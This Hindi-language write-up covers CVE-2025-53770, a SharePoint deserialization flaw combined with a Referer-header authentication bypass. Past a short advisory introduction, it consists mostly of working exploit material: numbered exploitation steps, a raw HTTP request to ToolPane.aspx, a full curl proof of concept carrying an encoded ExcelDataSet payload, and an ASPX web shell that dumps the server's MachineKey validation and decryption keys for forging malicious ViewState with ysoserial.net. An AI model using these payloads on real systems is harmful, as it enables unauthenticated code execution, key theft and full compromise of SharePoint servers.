
CVE-2025-53770 - SharePoint
ऑन-प्रिमाइसिस Microsoft SharePoint Server में अविश्वसनीय डेटा का डी-सीरियलाइज़ेशन एक हमलावर को दूरस्थ रूप से कोड निष्पादित करने और सिस्टम से समझौता करने की अनुमति देता है। Microsoft सक्रिय शोषण के बारे में जानता है और एक व्यापक अद्यतन तैयार कर रहा है। सुनिश्चित करें कि CVE दस्तावेज़ के शमन उपाय लागू हैं।
यह एक गंभीर रिमोट कोड एक्ज़ीक्यूशन (RCE) है। यह अविश्वसनीय डेटा के असुरक्षित डी-सीरियलाइज़ेशन का फायदा उठाता है, जिससे एक हमलावर बिना प्रमाणीकरण के मनमाना कोड निष्पादित कर सकता है।
यह HTTP हेडर (विशेष रूप से Referer फ़ील्ड) में हेरफेर के माध्यम से प्रमाणीकरण बायपास (स्पूफिंग) भेद्यता है, जिससे एक्सेस नियंत्रणों को दरकिनार कर CVE-53770 के साथ RCE तक बढ़ाया जा सकता है।
दोनों पिछले पैच (CVE-2025-49704 और CVE-2025-49706) को प्रतिस्थापित करते हैं, जो जुलाई में लागू किए गए थे, लेकिन अपूर्ण साबित हुए, जिससे हमले के नए वेक्टर संभव हुए।
1 - (प्रमाणीकरण बायपास): /layouts/15/ToolPane.aspx
चरण 1 – भेद्य URL पर एक POST अनुरोध करें। चरण 2 – एक .aspx फ़ाइल अपलोड करें जिसमें ऐसा कोड हो जो MachineKey पढ़े (आपके स्निपेट की तरह)। चरण 3 – इन कुंजियों के साथ कॉन्फ़िगर की गई ysoserial.net जैसी टूल का उपयोग करके एक दुर्भावनापूर्ण ViewState उत्पन्न करें।
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit HTTP/1.1
Host: sharepoint.lab.local
Referer: /_layouts/SignOut.aspx
Content-Length: 0
नीचे दिया गया PoC दर्शाता है कि एक हमलावर भेद्य एंडपॉइंट के माध्यम से दुर्भावनापूर्ण पेलोड को निकालने और डिकोड करने के लिए भेद्यता का कैसे फायदा उठा सकता है।
लक्ष्य डोमेन को जानबूझकर target.com से बदल दिया गया है।
PoC कमांड 1
curl -sk -X POST 'https://target.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx' \
-H 'Referer: /_layouts/SignOut.aspx' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'MSOTlPn_Uri=https://target.com' \
--data-urlencode 'MSOTlPn_DWP=
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="H4sIAADEfmgA/4WRX2uzMBTG7/0Ukvs06ihjQb3ZbgobG1TYeO9OY6yBJpGTdHbfvudVu44x6FUkPn9+PEnK1nTdHuV8gE1P9uCCtKGFCBU7opNB9dpC4NYo9MF3kStvJen4rGKLZ4645bkU8c+c1Umalp33/0/62gGmC45pK9bA7qBZOpdI9OMrtpryM3ZR9RAee3B7HSpmXNAYdTuFTnGDVwvZKZiK9TEOUohxHFfj3crjXhRZlouPl+ftBMspIYJTVHlxEcQt13cdFTY6xHeEYdB4vaX7jet8vXERj8S/VeCcxicdtYrGuzf4OnhoSzGpftoaYykQ7FAXWbHm2T0v8qYoZP4g1+t/pbj+vyKIPxhKQUssEwvaeFpdTLOX4tfz18kZONVdDRICAAA=" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>' \
| grep -oP 'CompressedDataTable="\K[^&]+(?=")' \
| base64 -d 2>/dev/null \
| gzip -d 2>/dev/null \
| tee /tmp/sharepoint_decoded_payload.txt \
| grep -Ei 'IntruderScannerDetectionPayload|ExcelDataSet|divWaiting|ProgressTemplate|Scorecard'
विश्लेषण में उपयोग किया गया वास्तविक कमांड
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="C#" CODEPAGE="65001">
public void Page_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
Response.Write(cg.ValidationKey + "|" + cg.Validation + "|" + cg.DecryptionKey + "|" + cg.Decryption + "|" + cg.CompatibilityMode);
}
</script>